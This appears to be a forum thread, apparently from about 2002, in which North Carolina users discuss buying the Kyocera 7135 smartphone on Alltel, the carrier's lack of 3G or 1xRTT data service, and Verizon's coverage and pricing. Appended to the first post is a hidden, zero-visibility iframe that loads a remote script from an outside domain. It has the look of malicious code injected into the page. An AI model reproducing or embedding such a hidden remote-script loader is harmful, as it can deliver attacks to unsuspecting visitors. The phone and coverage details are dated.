I live in the Alltel area, so I can get the 7135 now. But, as far as I know, Alltel does not have 3G data service. So, can I order a non-contract phone and have it activated with Sprint or Verizon? I know I will be losing out on the $100 discount. Buy now or wait???<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I live in the heart of Alltel country, NC so I think I'm gonna go with them for a year. Especially since Verizon doesn't offer 3G in NC yet.

Okay, I'm a newbie to this whole smartphone thing, but am really interested in getting the 7135. I live in NC also (Greensboro), can you tell me what I'm going to be missing out on since you're telling me there's no 3G here? Will I still be able to use all of the features of the 7135, just slower?

Thanks!

At least in the Raleigh area they claim express network is available now.

I hope you're right (except I can't afford it yet at $99/mo.). My info. came from the link below which may not be up to date and heresay from another post...

http://www.cdg.org/worldwide/index.asp#result

My local store and a call to Verizon data T/S both claimed it is available now. Unfortunately I have no way to test their claim.

There are cheaper data plans. The catch is the limited number of minutes. There is a ~50 plan that gives you 400 minutes a month for voice or data.

Still too expensive, though.

Your internet access will be slower... All the phone apps and other palm things will be as fast...

__________________
-=Jimmyjoe=-

"Alltel is among several providers exercising CDMA 1XRTT technology, designed to provide packet-data transmission at speeds of up to 144kb/s. Alltel also is looking to 1XRTT-EV, an enhancement to 1X, which will allow for bursting up to 2Mb/s"

From:
http://www.wirelessreview.com/ar/wir...sting_network/

Looking at the brochures I acquired from the store yesterday - and their website - I can find no consumer info on this. As a prospective consumer (since they offer the 7135!!) I'm feeling rather unsure whether it's worth $500 for a phone that I can't use a "hiptop" [to steal Danger's term]

The voice side of their coverage is equivalent to verizon (they allow cross-roam) and they are one of the few providers that covers the rural area where my mum lives. She has their service and has no complaints, but can't answer any geeky questions - she's a mum after all.

So anyway - anyone who has Alltel and this phone - please comment on whether the data transfer rates are "hi-speed"...

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I just came back from the Alltel store, where I got to see their [non-working] demo unit and had a long talk with the store manager - who was very straightforward about the internet service.

It's not 3G. Alltel's only active 1xRTT market is Tampa Bay (per the Store Manager in Raleigh, NC) She expects them to launch 1x during "Q1 2003" for the RTP area - but has no idea what the pricing will look like, or how broad the coverage will be... I told her they were selling a pig in a poke right now as far as the internet side of this phone goes.

I'm officially going to start researching Verizon's RTP service in the hope that they get the 7135 by mid-Janaury...

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